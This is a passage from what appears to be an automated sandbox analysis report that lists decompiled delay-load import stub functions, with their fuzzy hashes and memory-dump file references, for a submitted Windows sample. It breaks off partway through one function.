Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 85ea283d03e12ae6c835ef4e1afa6d23d1a569d5107bfc045edb3ff6b91e311f
Instruction ID: 156da75d62dc93ede296950b347528ec12e43dd84accd4f787015bba7fc14254
Opcode Fuzzy Hash: 85ea283d03e12ae6c835ef4e1afa6d23d1a569d5107bfc045edb3ff6b91e311f
Instruction Fuzzy Hash: 2DB012E62BA1156D326471146C0AE3A011CC0C1B33370C01ABC08C00C0E8E00CB80236

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA34 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DA34() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae24, 0x2a1090); // executed
				goto __eax;
			}

0x0025da23
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 24c48f897e688001685bb47fbd63480cbc7fe88c98fa645fdc940968b67666f9
Instruction ID: e54b9dd79b3fd8736badafc701fb01ac76c078954237f05029250ad13df719d1
Opcode Fuzzy Hash: 24c48f897e688001685bb47fbd63480cbc7fe88c98fa645fdc940968b67666f9
Instruction Fuzzy Hash: 7FB0129627D4016E315462651C02F3B015CC0D2B32330C03EBC04C0084D8A04C7C0236

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA3E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DA3E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae24, 0x2a108c); // executed
				goto __eax;
			}

0x0025da23
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7db0986f3aded46cce0c70f00d110ac992df552f2d836ede348682c8e3b908ed
Instruction ID: dc8b770f16864554d1c0798c567ed321f83e222cd844e77500ceda9502c0b440
Opcode Fuzzy Hash: 7db0986f3aded46cce0c70f00d110ac992df552f2d836ede348682c8e3b908ed
Instruction Fuzzy Hash: 96B0129727D401AE315462151D02E3B116CC1C2B32330C02EBC04C1080D8A04C7C0236

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA19 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DA19() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae24, 0x2a1088); // executed
				goto __eax;
			}

0x0025da23
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 18ba4a7a2060ae569b4bc54381855d6a68e52638cf6e2818b0ca5d802258ccfd
Instruction ID: 30ac3bdd6e3994971d6cf47e7f30be64cfad81e7a6edc67ff4014e02004086c7
Opcode Fuzzy Hash: 18ba4a7a2060ae569b4bc54381855d6a68e52638cf6e2818b0ca5d802258ccfd
Instruction Fuzzy Hash: C6B0129327D5117E331462116C02D3B511CC1C2B32330C12FBC00C008098A04CBC0136

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA52 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DA52() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae24, 0x2a1084); // executed
				goto __eax;
			}

0x0025da23
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f0155b1564f2d17487158d2d35d79eaa384c149809f679c12bd3ee682a2959a
Instruction ID: d7068cf761421d67c1eceeab5a7f58d9c796c621e66a5f5c40ec2e67044e6c3f
Opcode Fuzzy Hash: 6f0155b1564f2d17487158d2d35d79eaa384c149809f679c12bd3ee682a2959a
Instruction Fuzzy Hash: 60B0129227D4416E315462251D02F3B115CC1C2B32330C02EBC04C0080D8A04C790236

Uniqueness

Uniqueness Score: -1.00%

Function 0025DAA9 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DAA9() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae44, 0x2a117c); // executed
				goto __eax;
			}

0x0025da84
0x0025da8c
0x0025da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA8C

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 16cbc8667526b2945436fefc156827bf84e6d7f10d2fe99a654d088f328b6df3
Instruction ID: f865899fa12da90d469f7aacacd5210d5b84fd6f61acdcf319663f4df08aa567
Opcode Fuzzy Hash: 16cbc8667526b2945436fefc156827bf84e6d7f10d2fe99a654d088f328b6df3
Instruction Fuzzy Hash: 34B012963BD002AF315461245C07E3B012CC4CAB32330C12ABC08C0140D8F00C39063A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DAB3 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025DAB3() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ae44, 0x2a1170); // executed
				goto __eax;
			}

0x0025da84
0x0025da8c
0x0025da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA8C

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ba1f73ddfb8ff99e195010e57ee7f67e2209434891e86bff9dd27f22c3cdf37
Instruction ID: 653494d813faa5f360b81a1f6872f0a18a9e6e51627043f765cbb586c15aa6ce
Opcode Fuzzy Hash: 8ba1f73ddfb8ff99e195010e57ee7f67e2209434891e86bff9dd27f22c3cdf37
Instruction Fuzzy Hash: 8DB012963BD101AF315461245C07D3B012CC4C6B32330C12BBC08C0140D8F00C38063A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D6E7 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D6E7() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1168); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa9e25174575beef37e418f4061adc431407e0bda0aa38231fe4f713efdd0dec
Instruction ID: 8a1580b97b6b096265459491b583c56b6347a1257e0fcc2b4380fede3fe152b1
Opcode Fuzzy Hash: fa9e25174575beef37e418f4061adc431407e0bda0aa38231fe4f713efdd0dec
Instruction Fuzzy Hash: A1B012E627A3137D36A421106C46C3B011CC4C1B73330C11AB809C0040DCE40C79043F

Uniqueness

Uniqueness Score: -1.00%

Function 0025D720 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D720() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1154); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 66f7fefa1ffb11f053159b423091d4c46a393cea5b8ad2954a174ff6f7ed20c9
Instruction ID: 675e2fe1c68007d03d1c41d3436713491dc934884c47d0abb0413816bba73380
Opcode Fuzzy Hash: 66f7fefa1ffb11f053159b423091d4c46a393cea5b8ad2954a174ff6f7ed20c9
Instruction Fuzzy Hash: 0BB012E23BA0026D31A461146D06D3A011CC4C1B33330C01AF80DC0540E8B40C3E053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D734 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D734() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a114c); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 062129c81fbda95c2eb9f682a27365293fd10b204c40860fc2b0b0cc0ffdae53
Instruction ID: fbb2f02a92235eb1c4166805ab1ff1cc88a4a48509742099de8ca12e3c86e818
Opcode Fuzzy Hash: 062129c81fbda95c2eb9f682a27365293fd10b204c40860fc2b0b0cc0ffdae53
Instruction Fuzzy Hash: BEB012F627A0026D32A461146C07F3A011CC4C2F73330C01ABC0DC0040D8A40C3A053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D73E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D73E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1148); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 38ca43e8981d34c35213cf02137d6b46bff1f7f99c353e983070883b754adeda
Instruction ID: 0ba74f174a05fc5378956ec53c11aa8039e4e4d0718676f560570110db6407de
Opcode Fuzzy Hash: 38ca43e8981d34c35213cf02137d6b46bff1f7f99c353e983070883b754adeda
Instruction Fuzzy Hash: A0B012F227A1126D32E461546C07E3A011CC4C1F33330C11AB80DC0040D8A40C79053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D702 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D702() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1160); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc220fbce6d063b762a583e083cc413f7cee8fd95954149774df97d95641fe10
Instruction ID: 0c80321a87bb623be374aed233d7f58b745476edba9ff74bf1545d63e7770fe7
Opcode Fuzzy Hash: fc220fbce6d063b762a583e083cc413f7cee8fd95954149774df97d95641fe10
Instruction Fuzzy Hash: 8DB012EA27A1026D31A461146C06D3B011CC4C1B73330C01AB80DC0040D8A40C39063B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D70C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D70C() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a115c); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 141f5692b5a38d3d96e125e346498b969963af24d8159d40096b3e843ab37524
Instruction ID: 44a508bed8f27f0af454c6cd8da1825d9146efb5619c99190f6865e4c5c66aec
Opcode Fuzzy Hash: 141f5692b5a38d3d96e125e346498b969963af24d8159d40096b3e843ab37524
Instruction Fuzzy Hash: 62B012E627A0026D31A461146C06E3A011CC4C2B73330C01AFC0DC0140D8A40C3E053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D716 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D716() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1158); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7499dd8e7c3d2f7224d5da9612b1c8f53857b5e0366aa8b81035b726e619b863
Instruction ID: 09a6c4125779d2b00c29435d2f1d44bca3c4bb7dfbfd43534bed7b0b4bfbf41f
Opcode Fuzzy Hash: 7499dd8e7c3d2f7224d5da9612b1c8f53857b5e0366aa8b81035b726e619b863
Instruction Fuzzy Hash: C2B012E227A1126D32E461156C06D3A011CC4C1B33730C11AF80DC0140D8A40C7D053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D766 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D766() {
				void* _t3;
				void* _t4;
				void* _t8;
